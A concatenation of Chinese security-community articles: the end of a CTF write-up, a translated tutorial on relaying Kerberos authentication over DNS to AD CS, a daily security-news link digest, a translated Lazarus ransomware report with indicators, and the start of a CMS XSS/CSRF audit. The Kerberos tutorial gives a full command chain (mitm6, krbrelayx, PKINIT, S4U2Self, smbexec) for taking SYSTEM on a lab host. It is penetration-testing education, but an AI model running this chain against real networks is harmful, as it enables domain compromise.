$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');
### Bonus: PHP is the best!
[mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE
setting](https://bugs.php.net/bug.php?id=77496)
### Something
总之，这个题目我先分享给大家的点就是这些了，这个题我自己认为自己出的也不是很好，整个构造链没有设计的特别好，参考了比较多的题，比如 2018 N1CTF
easy & hard php，2018 LCTF T4lk 1s ch34p,sh0w m3 the sh31l
等等赛题，我觉得这些都是很优质的赛题，我也想向这些赛题去努力，可惜由于自己的知识面以及知识深度的不够，还不能做到那种赛题的程度，尤其是 @K0rz3n
师傅的出题
[blog](\[https://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20详细分析/\]\(https://www.k0rz3n.com/2018/11/19/LCTF
2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析/)) ，我前前前后后读了很多遍，最后还是没有做到像 @K0rz3n &
@wupco 师傅那样的出题深度，难以望其项背。
## Conclusion
最后，如果有小伙伴希望与我一起交流探索 phar 的一些小 trick
或者交流一些其他知识，欢迎来信：zeddyu.lu#gmail.com，如果大家有意愿加入 SU，也欢迎来信到：suers_xctf#126.com
最后的最后，很感谢大家的不杀之恩，这次 SUCTF
的举办主要依靠的是新一代队员的努力，由于新一代队员在运维、出题方面经验都不是特别老道，所以在比赛过程中产生了些许意外 &
失误，希望大家多多见谅，在这里给体验不好的师傅们谢罪了，哐哐哐，但是我们也会向着更好的方向努力，带给师傅们更好的比赛体验。
像《头号玩家》里面的一句话一样，感谢大家抽时间来打我们的比赛！ | 社区文章 |
2021 年 10 月，James Forshaw（[@tiraniddo](https://twitter.com/tiraniddo)）在
[Project Zero](https://googleprojectzero.blogspot.com/) 上发表了一篇名为 [《Using
Kerberos for Authentication Relay
Attacks》](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) 的文章，介绍了其在中继 Kerberos 身份验证方面的相关研究。该项研究一举反驳了多年以来不能中继
Kerberos 的观点。文章中介绍了一些技巧，可以使 Windows 对不同的服务主体名称（SPN）进行身份验证，这意味着 Kerberos
并不像我假设的那样完全可以避免中继。这促使 Dirk-jan
Mollema（[@dirkjanm](https://twitter.com/_dirkjan)）研究了一种新的的滥用技术：使用 mitm6 通过 DNS
中继 Kerberos 身份验证。
通过 mitm6 工具，我们可以劫持客户端的 IPv6 DHCP 请求，并最终接管客户端的 DNS。在这种情况下，您可以让客户端机器使用 Kerberos
及其机器帐户向我们进行身份验证。此身份验证可以中继到任何不强制执行完整性保护的服务，例如基于 HTTP 协议的 Active Directory
证书服务（AD CS）的 Web 注册接口。本篇博客描述了这项技术的背景以及如何使用 mitm6 通过 DNS 中继 Kerberos 身份验证。
## Background
基于 Windows 的企业网络依靠网络身份验证协议（例如 NTLM 和
Kerberos）来实现单点认证。这些协议允许域用户无缝连接到企业资源，而无需重复输入密码。这主要通过计算机的本地安全机构（Local Security
Authority，LSA）在用户首次完成身份验证时存储用户的凭据来起作用。然后，LSA
可以重用这些凭据在网络中自动进行身份验证，而无需用户交互。这其中最常见的是 HTTP 或 SMB
等网络协议的常见客户端必须在没有用户交互的情况下自动执行身份验证，否则会违背避免向用户询问其凭据的目的。
但是，重用凭据有一个很大的缺陷。如果攻击者可以欺骗用户连接到他们控制的服务器，这种自动身份验证可能会成为问题。攻击者可以诱导用户的网络客户端启动身份验证过程并重用这些信息对不相关的服务进行身份验证，从而允许攻击者以用户身份访问该服务的资源。当以这种方式捕获身份验证消息并将其转发到另一个系统时，它被称为身份验证中继（Relay）攻击。
NTLM Relay 是最经典的身份验证中继攻击，其最早由 Dead Cow 的 Josh Buchbinder 于 2001 年发布。然而，即使在
2021 年，NTLM Relay 攻击仍然是 Windows 域网络配置的重要威胁。
截至本文所撰写时，NTLM Relay 的最新主要滥用是通过 Active Directory 证书服务的 Web 注册服务，其与
[PetitPotam](https://github.com/topotam/PetitPotam) 技术相结合可以诱导域控制器执行 NTLM
身份验证，并为域控制器注册 AD CS 证书，从而允许未经身份验证的攻击者破坏 Windows 域环境。该项技术起源于 Lee
Christensen（[@tifkin_](https://twitter.com/tifkin_)）和 Will
Schroeder（[@harmj0y](https://twitter.com/harmj0y)）在 2021 年的 BlackHat 大会上发布的名为
[《Certified Pre-Owned - Abusing Active Directory Certificate
Services》](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
的白皮书，相关内容可以看我之前的博客：[《Attack Surface Mining For AD
CS》](https://whoamianony.top/attack-surface-mining-for-ad-cs/)。
多年来，Microsoft
为缓解身份验证中继攻击做出了许多努力。最好的缓解措施依赖于攻击者不知道用户密码或控制身份验证过程的事实。这包括使用会话密钥对网络流量进行签名和加密，该会话密钥受用户密码或通道绑定保护，作为身份验证扩展保护（Extended
Protection for Authentication，EPA）的一部分 ，可防止将身份验证中继到 TLS 下的网络协议。
此外，另一个常见的缓解措施是使用组策略禁用特定服务或网络范围内的 NTLM 身份验证。虽然这有潜在的兼容性问题，但仅允许 Kerberos
协议的身份验证相对而言应该更安全。那么，禁用了 NTLM 协议后是否足以真正消除 Windows 身份验证中继攻击带来的威胁呢？
### Why are there no Kerberos Relay Attacks?
如果 NTLM 协议被禁用，那么能否转而中继 Kerberos 身份验证呢？然而，多年以来并没有关于 Kerberos
中继攻击的公开研究或资料，那么到底存不存在 Kerberos 中继攻击呢？
显而易见的是，NTLM 之所以易于中继，是因为它并非旨在将特定服务的身份验证与任何其他服务区分开来。唯一独特的方面是服务器质询，但该值不是特定于服务的，因此
SMB 的身份验证可以转发到 HTTP，而受害者服务无法区分。
但是，Kerberos 始终要求通过主体名称预先指定身份验证的目标，通常这是服务主体名称（[Service Principal
Names](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names)，SPN），尽管在某些情况下它可以是用户主体名称 (User Principal Names，UPN)。 SPN 通常表示为
`CLASS/INSTANCE:PORT/NAME` 形式的字符串，其中 `CLASS` 是服务类，例如 HTTP、CIFS、LDAP、DNS 或 HOST
等，`INSTANCE` 通常是托管服务的服务器的 DNS 名称，`PORT` 和 `NAME` 是可选的。
Kerberos 票据授予服务（TGS）使用 SPN 为身份验证生成的 Kerberos 服务票据选择共享加密密钥。此票据包含基于在用户预 Kerberos
身份验证过程中请求的票据授予票据（TGT）内容的身份验证用户的详细信息。然后，客户端可以将服务票据打包到身份验证请求（AP_REQ）身份验证令牌中以发送到服务器。
在不知道共享加密密钥的情况下，服务无法解密 Kerberos 服务票证，则身份验证会失败。因此，如果 Kerberos 身份验证是尝试使用 SPN
`CIFS/fileserver.domain.com` 对 SMB 服务进行的 ，那么如果中继的目标是具有 SPN
`HTTP/fileserver.domain.com` 的 HTTP 服务，则该票据不可用，因为共享密钥不同。
在域环境中，域控制器将 SPN 与用户帐户相关联，最常见的是加入域的服务器的计算机帐户，并且该共享密钥来自机器帐户的密码哈希值。比如，SPN
`CIFS/fileserver.domain.com` 和 SPN `HTTP/fileserver.domain.com`可能会分配给名为
`FILESERVER$` 的计算机帐户，因此两个 SPN 的共享加密密钥将是相同的，那么理论上可以将对其中一个服务的身份验证中继到另一个服务。
用于 Kerberos 身份验证的 SPN 通常由目标服务器的主机名定义。在中继攻击中，攻击者的服务器将与目标服务器不同。例如，SMB
连接可能以攻击者的服务器为目标，并将分配 SPN `CIFS/evil.com`。假设此 SPN 已注册，由于计算机帐户不同，它很可能具有与 SPN
`CIFS/fileserver.domain.com` 不同的共享加密密钥。因此，将身份验证中继到目标 SMB 服务将失败，因为票证无法解密。
正是因为 SPN 与目标服务的共享加密密钥相关联的要求，使得很少有人认为 Kerberos 中继攻击的威胁是现实存在的。
但是，如果攻击者可以控制 SPN，则没有什么能阻止 Kerberos 身份验证被中继了。缓解中继 Kerberos
身份验证的唯一方法是让服务通过使用签名或通道绑定来保护自己。但是，即使在 LDAP 等关键协议上，这些服务保护也不是默认设置的。
**在没有其他服务保护的情况下，Kerberos 中继的唯一限制是 SPN 的选择，因此本研究重点关注普通协议如何选择
SPN，以及它是否可以受到攻击者的影响以实现 Kerberos 身份验证中继。**
### Kerberos Relay Requirements
在可控环境中，很容易证明 Kerberos 中继是可能的。我们可以编写一个简单的客户端，并使用 SSPI API 与 LSA
通信并实现网络身份验证。此客户端调用 InitializeSecurityContext API，它将生成一个 AP_REQ 身份验证令牌，其中包含任意
SPN 的 Kerberos 服务票证。此 AP_REQ 可以转发到中间服务器，然后由中间服务器中继到 SPN
代表的真实服务。如果没有其他服务保护措施，这将会起作用。
但是，客户端调用 InitializeSecurityContext 的方式有一些警告， 这将影响生成的 AP_REQ 的有用性，即使攻击者可以修改
SPN。如果客户端指定了 ISC_REQ_CONFIDENTIALITY、ISC_REQ_INTEGRITY 、ISC_REQ_REPLAY_DETECT
或ISC_REQ_SEQUENCE_DETECT 请求标志，则生成的 AP_REQ
将启用签名加密和/或消息完整性检查。当服务器使用AcceptSecurityContext API 接收到 AP_REQ
时，它将返回一组标志，指示客户端是否启用了签名加密或完整性检查。一些服务会使用这些返回的标志启用相关的服务保护。
例如，LDAP 服务的默认设置是在客户端支持的情况下启用签名/加密，即协商签名。因此，如果客户端启用了这些保护中的任何一个，那么就无法将 Kerberos
身份验证中继到 LDAP。但是，其他服务（例如 HTTP）通常不支持签名，因此允许接受指定了上述请求标志的身份验证令牌，而不做出任何保护性的措施。
另一个警告是客户端可以指定通道绑定信息，通常来自通信中使用的 TLS 证书。通道绑定信息可以由攻击者控制，但如果没有 TLS
实现中的错误或确定通道绑定信息本身的代码，则不能设置为任意值。
虽然服务可以选择仅在客户端支持的情况下启用通道绑定，但所有 Windows Kerberos AP_REQ 令牌都通过 `Authenticator`
属性中的 `KERB_AP_OPTIONS_CBT` 选项标志指示支持。即使 Sagi Sheinfeld 等人证明了，如果您可以从非 Windows
源获取 AP_REQ，它将不会设置该选项标志，因此不会强制执行通道绑定，但这显然不是微软会做的事情。Windows
客户端也有可能通过注册表配置选项禁用通道绑定，尽管这在现实世界的网络中似乎不太可能。
如果客户端在生成 AP_REQ 时指定 `ISC_REQ_MUTUAL_AUTH` 请求标志，它将启用客户端和服务器之间的相互身份验证。客户端在发送
AP_REQ 以证明它拥有共享加密密钥后，期望从服务器接收到身份验证响应 AP_REP。如果服务器没有返回有效的
AP_REP，客户端可以假定它是一个欺骗服务器并拒绝与其继续通信。
从中继的角度来看，相互身份验证并不重要，因为中继攻击的目标是服务器，而不是客户端。目标服务器在接受 AP_REQ
后将假定身份验证已完成，因此这就是攻击者需要转发的全部内容。虽然服务器将生成 AP_REP
并将其返回给攻击者，但他们可以直接丢弃它，除非他们出于某种原因需要中继客户端继续参与通信。
## Kerberos over DNS
DNS 是一个拥有有效 Kerberos 基础架构的关键组件。在 Active Directory 中，DNS 支持使用 Kerberos 在 DNS
上进行身份验证的操作。这是 “[Secure Dynamic Update](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961412\(v=technet.10)?redirectedfrom=MSDN)”
操作的一部分，用于使具有动态地址的网络客户端的 DNS 记录在其网络状态发生更改时能与其当前的 IP 地址保持同步。下图中显示了 DNS
动态更新过程中涉及的几个步骤：
（1）在步骤 1 中，客户端查询本地名称服务器以确定哪个服务器对其所处的区域具有权威性。本地名称服务器以区域名称和对该区域具有权威性的主服务器地址进行响应。
（2）在步骤 2
中，客户端尝试进行非安全更新。由于该区域被配置为安全动态更新，因此权威名称服务器将对客户端的更新请求进行拒绝。如果该区域被配置为非安全动态更新，则服务器将尝试添加、删除或修改
Active Directory 中的资源记录。
（3）在步骤 3 中，客户端和服务器开始 TKEY 协商。首先，客户端和服务器协商底层安全机制。由于 Windows 2000
动态更新客户端和服务器都提出了 Kerberos 协议，因此他们决定使用它。接下来，客户端和服务器将使用 Kerberos
安全机制，验证彼此的身份并建立安全上下文。
（4）在步骤 4 中，经过身份验证后的客户端再次向服务器发送动态更新请求，并使用在步骤 3 中建立的安全上下文生成的 TSIG 密钥进行签名。DNS
服务器使用安全上下文和 TSIG 密钥验证动态更新数据包的来源。
（5）在步骤 5 中，服务器开始尝试在 Active Directory
中添加、删除或修改资源记录。它是否可以进行更新取决于客户端是否具有进行更新的适当权限以及是否满足先决条件。
（6）在步骤 6 中，服务器向客户端发送回复，说明它是否能够进行更新，并使用 TSIG 密钥签名。如果客户端收到欺骗性回复，它会将其丢弃并等待签名回复。
让我们通过 WireShark 抓包来观察一下该过程：
让我们仔细看看第 83 和第 84 个数据包。TKEY 协商消息实际上是通过 TCP 进行发送的，因为它比 UDP 允许的最大 512
字节大很多。这主要是因为其中包含了相当大的 TKEY 附加记录，比如我们经常看到的用于 Kerberos 身份验证的结构：
可以看到，此查询中包含了一个完整的 GSS-API 和 SPNEGO 结构，其中包含 Kerberos AP-REQ，其实质是对服务的正常 Kerberos
身份验证流程。服务器的应答消息中将返回一个 GSSAPI 和 SPNEGO 结构，其中包含了 Kerberos AP-REP，以指示认证成功，如下图诉所示。此 AP-REP 包含一个 TSIG 会话密钥，客户端可以使用该密钥进一步签署其 DNS 更新查询。
服务器可以存储密钥和经过身份验证的用户/计算机，并以经过身份验证的方式处理更新，而不必将身份验证绑定到特定的 TCP 套接字，因为以后的查询可能通过 UDP
发送。
## Abusing DNS authentication
如果我们能够拦截 DNS 查询，就有可能欺骗受害客户端向我们发送本应发给真实 DNS 服务器的 Kerberos 认证票据。这种拦截可以在 Windows
默认配置中，由同一 (V)LAN 中的任何系统上通过 [mitm6](https://github.com/dirkjanm/mitm6)
工具完成。Mitm6 将自己宣称为 DNS 服务器（详情请看：[《使用 MITM6 中继 WPAD
身份验证》](https://whoamianony.top/relaying-wpad-authentication-using-mitm6/)），这意味着受害者将向我们发送 `SOA` 请求，如果我们拒绝他们的动态更新，则客户端会使用 Kerberos 进行身份验证。
到这里可能就有点棘手了，前文中我们曾说过，用于 Kerberos 身份验证的 SPN 通常由目标服务器的主机名定义。通常 DNS
服务器角色将在域控制器上运行，因此 DNS 服务的服务票证将由 SPN 名称绑定在 DC 上运行的服务。但是我们可以更改票证中的 SPN
名称，这意味着我们可以将此票据中继到例如 LDAP 等其他服务上。
此外，正如 James Forshaw 在他其文章中所描述的，许多服务类实际上会隐式映射到 HOST 类。事实证明，这包括 DNS，因此当我们的受害者请求
DNS 服务的票证时，这实际上适用于具有 HOST SPN 的任何帐户。由于 HOST SPN
是默认在域中的所有计算机帐户上设置的，因此可以针对在这些帐户下运行的任何服务。
此外，中继的另一个难题是签名和消息完整性保护的问题。但是，正如前文中所描述的，其他服务（例如 HTTP）通常不支持签名。并且，Lee Christensen
和 Will Schroeder 关于 AD CS 服务研究为我们提供了一个可用的高价值 HTTP 端点。由于 AD CS 的证书颁发机构 Web
注册接口支持 Kerberos 身份验证，并且不支持签名保护，因此测试人员可以将假 DNS 服务器上收到的 Kerberos 身份验证中继到 AD CS
服务。完成后，我们可以为我们中继的计算机帐户申请 AD 证书，并使用我在之前的[博客](https://whoamianony.top/attack-surface-mining-for-ad-cs/)中谈到的 NTLM 哈希恢复或 S4U2Self 技术。使用这些技术，我们可以 SYSTEM
权限威胁受害计算机。
## Changes to krbrelayx and mitm6
最初，[krbrelayx](https://github.com/dirkjanm/krbrelayx)
并不是真正用来中继的工具。相反，它通过使用非约束性委派来捕获 Kerberos TGT，并使用这些 TGT 执行 Kerberos
身份验证。由于现在有一个实际中继 Kerberos 身份验证的用例，因此 Dirk-jan Mollema 更新了 krbrelayx
中的功能，使其可以在真正的中继模式下运行，但仅支持中继到 HTTP 和 LDAP。至于 mitm6，Dirk-jan 添加了指定认证目标的选项，当受害者询问
SOA 记录时，这将是权威性名称服务器响应中的主机名。这将使受害者为我们的目标服务器而不是合法的 DNS 服务器请求 Kerberos 服务票据。
## Attack example
（1）首先执行以下命令设置 krbrelayx，将 AD CS 主机（adcs.pentest.com）指定为中继的目标，并将接口的 IPv4
地址指定为绑定 DNS 服务器的接口。
python3 krbrelayx.py --target http://adcs.pentest.com/certsrv/ -ip 172.26.10.134 --victim win10-client1.pentest.com --adcs --template Machine
（2）然后执行以下命令设置 mitm6，使用 AD CS 主机的名称作为认证目标：
mitm6 --domain pentest.com --host-allowlist win10-client1.pentest.com --relay adcs.pentest.com -i eth0 -v
现在，我们可以等待受害者获得 IPv6 地址并连接到我们的恶意服务器。如下图所示，成功为机器账户 `WIN10-CLIENT1$`
的申请到了证书，该证书适用 Base64 加密。
（3）我们将该证书的内容保存在 win10-client1.txt 文件中，有了这个证书，我们可以使用
[PKINITtools](https://github.com/dirkjanm/PKINITtools) 或
[Rubeus](https://github.com/GhostPack/Rubeus) 工具，代表该机器账户执行 Kerberos 身份验证，并为其申请
TGT 票据：
python3 gettgtpkinit.py pentest.com/win10-client1\$ win10-client1.ccache -pfx-base64 $(cat win10-client1.txt)
（4）至此我们已经获取了 TGT 票据，但是该票据为 WIN10-CLIENT1
机器账户的票据。由于机器账户不允许登录，我们无法通过机器账户对目标主机执行交互式操作。不过我们可以通过 Kerberos 的 S4U2Self
扩展协议，使用已获取的 TGT 为域管理员用户申请针对 `cifs/[email protected]` SPN
的服务票据，相关命令如下：
> 尽管需要在机器帐户上专门启用约束委派属性才能使 S4U2proxy 跨系统工作，但是任何具有 SPN 的主体都可以调用 S4U2self
> 去获取针对自身的高权限票据。
python3 gets4uticket.py kerberos+ccache://pentest.com\\win10-client1\$:[email protected] cifs/[email protected] [email protected] Administrator.ccache -v
（5）最后，我们通过设置环境变量 `KRB5CCNAME` 来使用 Administrator 用户的票据，并通过 smbexec.py 获取
WIN10-CLIENT1 机器的最高权限，相关命令如下。
export KRB5CCNAME=/root/PKINITtools/Administrator.ccache
python3 smbexec.py -k pentest.com/[email protected] -no-pass
## Ending......
参考文献：
> <https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-> authentication-relay.html>
>
> <https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/> | 社区文章 |
# 【知识】7月3日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 对Systemd用户名以数字开头导致权限提升到root问题的分析 **** **、**
绕过EMET（Microsoft的增强缓解工具包）保护的一种方法、实现Windows键盘记录器的一些方法、威胁情报在甲方安全运维中的应用 **、**
德国电子政务的基础库OSCI Library 存在XXE漏洞，通过获取解密的信息，一定情况可以伪造信息、玩转无线电——不安全的蓝牙锁 **、
对Petya涉及的主引导记录的分析、微软Azure网络安全白皮书 ** **********
**
**
**资讯类：**
CIA使用OutlawCountry恶意软件来监控Linux系统
<http://securityaffairs.co/wordpress/60584/breaking-news/cia-outlawcountry-hack-linux.html>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Google Chrome – Out-of-Bounds Access in RegExp Stubs
<https://www.exploit-db.com/exploits/42286/>
微软Dynamic CRM 2016 XSS漏洞
<https://remoteawesomethoughts.blogspot.com/2017/06/cross-site-scripting-vulnerability-in.html>
filewatcher:基于OpenBSM库的对macOS的程序和进程进行审计的工具
<https://github.com/m3liot/filewatcher>
<https://m3liot.github.io/blog/2017/07/02/mac-os-real-time-auditing/>
以1password为例介绍伪造电子邮件
<http://hackanddefense.com/blog/how-to-send-fake-emails/index.html>
Puppet Strings – Dirty Secret for Windows Ring 0 Code Execution
<https://github.com/zerosum0x0/puppetstrings>
<https://zerosum0x0.blogspot.com/2017/07/puppet-strings-dirty-secret-for-free.html>
对Systemd用户名以数字开头导致权限提升到root问题的分析
<https://ma.ttias.be/giving-perspective-systemds-usernames-start-digit-get-root-privileges-bug/>
实现Windows键盘记录器的一些方法
<https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/>
<https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-land/>
绕过EMET（Microsoft的增强缓解工具包）保护的一种方法
<https://www.okta.com/blog/2016/07/the-emet-serendipity-emets-ineffectiveness-against-non-exploitation-uses/>
对Remcos RAT木马的分析
<https://secrary.com/ReversingMalware/RemcosRAT/>
微软Azure网络安全白皮书
<https://docs.microsoft.com/en-us/azure/security/azure-network-security>
德国电子政务的基础库OSCI Library 存在XXE漏洞，通过获取解密的信息，一定情况可以伪造信息
<http://blog.sec-consult.com/2017/06/german-e-government-details-vulnerabilities.html>
和其他的勒索软件比较Petya更具有破坏性
<https://securingtomorrow.mcafee.com/business/petya-effective-destruction-ransomware/>
威胁情报在甲方安全运维中的应用
<https://shimo.im/doc/SECYkqSAk1wH2oVt>
标准化建设之网络安全应急响应浅析
<https://secvul.com/topics/707.html>
玩转无线电——不安全的蓝牙锁
<https://xianzhi.aliyun.com/forum/read/1799.html>
给你压缩包却不给你密码的人到底在想什么
<http://veritas501.space/2017/06/23/%E7%BB%99%E4%BD%A0%E5%8E%8B%E7%BC%A9%E5%8C%85%E5%8D%B4%E4%B8%8D%E7%BB%99%E4%BD%A0%E5%AF%86%E7%A0%81%E7%9A%84%E4%BA%BA%E5%88%B0%E5%BA%95%E5%9C%A8%E6%83%B3%E4%BB%80%E4%B9%88/>
ActiveMQ < 5.14.0 – Web Shell Upload (Metasploit)
<https://threathunter.org/topic/5957b9cd5ebe12b96cebd8e5>
对Petya涉及的主引导记录的分析
<https://countuponsecurity.com/2017/07/02/analysis-of-a-master-boot-record-eternalpetya/>
Google在Android O 中新加入createAppSpecificSmsToken解决之前短信验证导致的隐私问题，不在需要READ_SMS权限
<https://proandroiddev.com/no-permission-required-for-sms-verification-in-android-o-761fe2d4f675>
Windows 10 EAF/EMET "Bypass" 反射 DLL 注入
<https://zerosum0x0.blogspot.jp/2017/06/proposed-eafemet-bypass-for-reflective.html>
使用IDA Pro逆向MD380固件
<https://github.com/travisgoodspeed/md380tools/wiki/IDAPro>
unarcrypto：描述zip，rar和7zip文件中的加密用法
<https://github.com/lclevy/unarcrypto>
攻击者在攻击中通过混淆等方式逃避检测
<https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html> | 社区文章 |
**原文链接：[Lazarus on the hunt for big game](https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/ "Lazarus on the hunt for big game")
译者：知道创宇404实验室翻译组 **
毫无疑问，2020
年将成为历史上令人不愉快的一年。在网络安全领域，针对目标的勒索软件攻击日益增加，集体的伤害就更加明显。通过调查许多此类事件，并通过与一些值得信赖的行业合作伙伴讨论，我们认为我们现在对勒索软件生态系统的结构有了很好的了解。
勒索软件生态系统的结构
犯罪分子利用广泛传播的僵尸网络感染（例如，臭名昭著的 Emotet 和 Trickbot
恶意软件家族）传播到受害者和第三方开发者的勒索软件“产品”的网络中。当攻击者对目标的财务状况和IT流程有充分了解后，他们就会在公司的所有资产上部署勒索软件，并进入谈判阶段。
这个生态系统在独立、高度专业化的集群中运行，在大多数情况下，除了业务联系之外，这些集群彼此之间没有联系。这就是威胁行为者的概念变得模糊的原因：负责最初破坏的组织不太可能是破坏受害者的
Active Directory
服务器的一方，而该服务器又不是事件中实际使用的勒索软件代码的一方。更重要的是，在两起事件中，同一罪犯可能会交换业务伙伴，并且可能利用不同的僵尸网络或勒索软件家族。
当然，没有一个复杂的生态系统可以用一套单一的、严格的规则来描述。在本文中，我们描述了2020年3月至2020年5月之间进行的两次调查中出现的异常之处。
### 事件一：VHD 勒索软件
第一次事件发生在欧洲，引起我们的注意的原因有两个：它涉及到一个我们未知的勒索软件家族，并涉及一个使人联想到 APT
组织的传播技术（见下文“传播效用”详情）。勒索软件本身并没有什么特别之处：它是用 C++
编写的，并爬取所有连接的磁盘来加密文件，并删除任何被称为“系统卷信息”的文件夹（这些文件与 Windows
的还原点特征链接）。该程序还可以停止可能锁定重要文件的进程，如 Microsoft Exchange 和 SQL Server。文件在 ECB 模式下使用
AES-256 和 RSA-2048 进行加密。在我们当时发表的最初报告中，我们注意到了这个程序实现的两个特点：
勒索软件使用 Mersenne Twister
作为随机性来源，但不幸的是，对于受害者来说，每次使用新数据时，RNG都会重新播种。不过，这仍是非正统的加密技术，因为对AES算法使用“电子密码本”（ECB）模式的决定也是如此。
ECB和AES的组合在语义上不是安全的，这意味着原始明文数据的模式在加密后会保留。网络安全研究人员在2020年4月对Zoom安全进行了分析，重申了这一点。
VHD实现了一种在加密过程中断时恢复操作的机制。对于大于16MB的文件，勒索软件以明文形式将当前加密材料存储在硬盘上。此信息不会在以后安全删除，这意味着可能有机会恢复某些文件。
据我们所知，本博客为首次公开讨论该恶意软件家族。
在勒索软件中发现的一种传播工具，在网络中传播了该程序，它包含特定于受害者的管理凭据和IP地址的列表，并利用它们在每台发现的计算机上暴力破解 SMB
服务。只要建立成功连接，就会安装网络共享，并通过WMI调用复制并执行VHD勒索软件。对于我们来说，这是网络犯罪集团的一种不同寻常的技术，它使我们想起了APT活动：
Sony SPE，Shamoon 和 OlympicDestroyer，这是之前三个具有蠕虫功能的工具。
留给我们的问题多于答案。我们认为这种攻击不符合已知的大型黑客集团的惯常作案手法。此外，在遥测中，我们只能找到数量非常有限的VHD勒索软件样本，以及一些公共参考资料。这表明该勒索软件系列可能不会像通常那样在黑市论坛上广泛交易。
### 事件二：Hakuna MATA
两个月后，卡巴斯基的事件响应小组（GERT）处理了第二起事件。这意味着我们能够完整了解导致安装VHD勒索软件的感染链。
在这种情况下，我们认为初始访问是通过机会性利用易受攻击的VPN网关实现的。此后，攻击者获得了管理权限，在受感染的系统上部署了后门，并能够接管 Active
Directory 服务器。然后，他们将VHD勒索软件部署到网络中的所有计算机。在这种情况下，没有传播工具，但是勒索软件是通过一个用 Python
编写的下载器上进行的，我们认为它还在开发中。整个感染历时10小时。
一条更相关的信息是，此事件期间使用的后门是我们称为 MATA 的多平台框架的一个实例（某些供应商也将其称为 Dacls）。
7月22日，我们发表了一篇专门针对此框架的[博客文章](https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/ "博客文章")。在其中，我们对其功能进行深入描述，并提供了其与 Lazarus
集团联系的证据。其他业内人士也得出了类似的结论。
在事件响应过程中收集的证据足够强大，我们可以很自信地说，在这个事件发生期间受害者网络中只有一个威胁行为者。
### 结论
我们掌握的数据表明，VHD 勒索软件不是商业现成产品，并且据我们所知，Lazarus 集团是 MATA 框架的唯一所有者。因此，我们得出结论，VHD
勒索软件也由 Lazarus 拥有和运营的。
回到我们的介绍，这一发现与我们对网络犯罪生态系统的了解不符。Lazarus 集团一直存在于 APT
和金融犯罪之间的特殊十字路口，并且在威胁情报界一直有传言说该组织是各种僵尸网络服务的客户。我们只能推测他们为什么现在开始单独行动：也许他们发现很难与网络犯罪黑社会互动，或者也许他们觉得再也无法负担与第三方分享利润。
很明显，该组织无法与其他网络犯罪团伙的效率相提并论。在部署勒索软件的10个小时里，他们真的能为受害者设定一个适当的赎金价格吗？他们甚至能找出备份的位置吗？最后，唯一重要的是这些操作是否为
Lazarus 集团带来了利润。
只有时间能证明他们是全职投入大型狩猎游戏中，还是作为失败的实验将其废弃。
### IOCs
VHD 勒索软件
6D12547772B57A6DA2B25D2188451983
D0806C9D8BCEA0BD47D80FA004744D7D
DD00A8610BB84B54E99AE8099DB1FC20
CCC6026ACF7EADADA9ADACCAB70CA4D6
EFD4A87E7C5DCBB64B7313A13B4B1012
域名和IP | 描述
---|---
172.93.184[.]62[(ZoomEyes搜索结果)](https://www.zoomeye.org/searchResult?q=172.93.184.62%20
"\(ZoomEyes搜索结果\)") | MATA C2
23.227.199[.]69[(ZoomEye搜索结果)
](https://www.zoomeye.org/searchResult?q=23.227.199.69 "\(ZoomEye搜索结果\) ") |
MATA C2
104.232.71[.]7[(ZoomEyes搜索结果)](https://www.zoomeye.org/searchResult?q=104.232.71.7
"\(ZoomEyes搜索结果\)") | MATA C2
mnmski.cafe24[.]com | Staging endpoint for the ransomware (personal web space
hosted at a legit web service and used as a redirection to another compromised
legit website).
* * * | 社区文章 |
# Ectouch2.0 分析代码审计流程 (三) Xss And Csrf
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Ectouch2.0 分析代码审计流程 (三) Xss 和 Csrf挖掘
## 0x1 前言
为了文章的续集,我在准备考试之余,按耐不住跑去继续读了下Ectouch,我感觉自己写文章有时候真的挺多废话的,so let us focus on
analysis。今天讲下如何我是如何挖掘xss的,其中因为xss和csrf关系密切,这里也会有如何挖掘csrf的过程,漏洞可能比较鸡肋,但是这文章主要重点是在分享挖掘xss思路,希望大佬勿喷,也希望大佬多多指点。
阅读此文强烈建议阅读我之前写的审计系列:
> 1.[Ectouch2.0 分析解读代码审计流程](https://www.anquanke.com/post/id/168991)
>
> 2.[Ectouch2.0 分析代码审计流程 (二) 前台SQL注入](https://www.anquanke.com/post/id/169152)
## 0x2 系统配置的一些介绍
(1)除了$SERVER,输入全局进行了addalshes过滤
(2)默认I方法获取参数会使用htmlspecialchars进行过滤
(4)更多内容建议从前面开始阅读
(5)前台绝大部分没有token保护
## 0x3 谈谈我对xss和csrf的理解
xss> csrf,从大角度来讲csrf能做的事情xss都能做,所谓的xss和csrf的结合,其实是有一种这样的情况,就是self-xss
这个xss不能直接触发,但是结合csrf就能达到触发的目的。 (不对的话请师傅们斧正)
## 0x4 分析下模版渲染的过程
模版处理类文件(用的应该是smarty):
